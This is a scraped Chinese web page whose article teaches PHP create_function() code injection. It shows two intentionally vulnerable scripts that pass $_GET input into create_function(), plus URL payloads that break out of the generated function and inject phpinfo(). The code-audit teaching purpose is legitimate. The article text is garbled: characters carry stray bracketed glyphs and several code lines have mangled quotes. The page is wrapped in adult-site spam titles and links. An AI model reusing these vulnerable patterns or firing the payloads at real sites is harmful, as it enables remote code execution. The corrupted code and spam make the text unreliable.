国产成人精品久久免费动漫-国产成人精品天堂-国产成人精品区在线观看-国产成人精品日本-a级毛片无码免费真人-a级毛片毛片免费观看久潮喷

您的位置:首頁技術(shù)文章
文章詳情頁

PHP create_function()函數(shù)應用實例詳解

瀏覽:99日期:2022-06-06 09:53:37
目錄
  • 前言
  • create_function()簡介
  • 函數(shù)功能
  • 代碼注入實例
    • 0x01
    • 0x02

前言

一直遇到過這個 函數(shù),但是不知道怎么利用 這回學習一下這個函數(shù)

create_function()簡介

適用 PHP4>4.0.1 PHP 5 PHP7

語法:
create_function(string $args, string $code)
string $args 聲明的函數(shù)變量部分
string $code 執(zhí)行的方法代碼部分

函數(shù)功能

<?php$newfunc = create_function("$a,$b", "return "ln($a) + ln($b) = " . log($a * $b);");echo "New anonymous function: $newfunc\n";echo $newfunc(2, M_E) . "\n";?>

分析:

create_function() 會創(chuàng)造一個匿名函數(shù) (lambda樣式) 此處創(chuàng)建了一個叫 lamvda_1 的函數(shù), 在第一個 echo 中 顯示名字, 并在第二個echo 語句中執(zhí)行了 此函數(shù)。

create_function() 函數(shù) 會在內(nèi)部 執(zhí)行 eval() , 我們發(fā)現(xiàn)是執(zhí)行了 后面的 return 語句,屬于create_function() 中的第二個參數(shù) string $code 的位置

因此,上述匿名函數(shù)的創(chuàng)建與執(zhí)行過程等價于:

<?phpfunction lambda_1($a,$b){    return "ln($a) + ln($b) = " . log($a * $b);}?>

create_function( ) 函數(shù)在代碼審計中,主要用來查找項目中的代碼注入和回調(diào)后門的情況,熟悉了執(zhí)行流程, 可以實現(xiàn)對代碼注入的 payload 構(gòu)造,從而 進行漏洞挖掘和找出存在缺陷

代碼注入實例

0x01

<?phperror_reporting(0);$sort_by = $_GET["sort_by"];$sorter = "strnatcasecmp";$databases=array("1234","4321");$sort_function = " return 1 * " . $sorter . "($a["" . $sort_by . ""], $b["" . $sort_by . ""]);";usort($databases, create_function("$a, $b", $sort_function));?>

payload:

http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

還原實際的組合過程:

$sort_function = " return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*

匿名函數(shù)實際的執(zhí)行:

function niming($a,$b){return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*}

$sort_by 是我們傳入的值。

回車換行整理一下:

function niming($a,$b){return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*}

0x02

<?php$c=$_GET["c"];$lambda=create_function("$a,$b","return (strlen($a)-strlen($b)+" . "strlen($c));");$array=array("reall long string here,boy","this","midding lenth","larget");usort($array,$lambda);print_r($array);?>

payload:

http://localhost/test2.php?c=1));}phpinfo();/*

還原實際的組合過程:

$lambda=create_function("$a,$b","return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函數(shù)實際的執(zhí)行:

 function ft($a,$b){    return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); }

換行整理:

 function ft($a,$b){    return (strlen($a)-strlen($b)+" . "strlen(1));    }    phpinfo();    /*)); }

到此這篇關(guān)于PHP create_function()函數(shù)應用實例詳解的文章就介紹到這了,更多相關(guān)PHP create_function()函數(shù)內(nèi)容請搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!

標簽: PHP
主站蜘蛛池模板: 日本三级香港三级妇三 | 在线视频日韩精品 | 久久网在线 | 99热精品在线观看 | 亚洲区精品 | 免费在线精品视频 | 日韩精品毛片 | 一级视频在线播放 | 国产成人永久免费视频 | 欧美日韩亚洲综合久久久 | 亚洲成人第一页 | 成a人v | 国产精品午夜性视频 | 国产免费高清福利拍拍拍 | 国产亚洲精品免费 | 九九手机视频 | 国产小网站 | 亚洲精品久久久久网站 | 国产精品露脸脏话对白 | 在线观看视频一区 | 亚洲第一视频在线观看 | 一级特黄aa大片欧美网站 | 91久久香蕉国产线看观看软件 | 成人中文字幕在线观看 | 热久久伊人 | 日韩成人毛片高清视频免费看 | 欧美一级www片免费观看 | 欧美毛片日韩一级在线 | 日韩不卡一二三区 | 草草影院ccyy | 国产网站黄色 | 久久精品免视国产 | 久久一日本道色综合久久 | 久草在线看| 在线观看亚洲天堂 | 亚洲第一免费播放区 | 免费人成在线观看播放国产 | 久草视频在线免费看 | 欧美三级网站在线观看 | 成人小视频在线观看免费 | 女高中生被cao到哭视频 |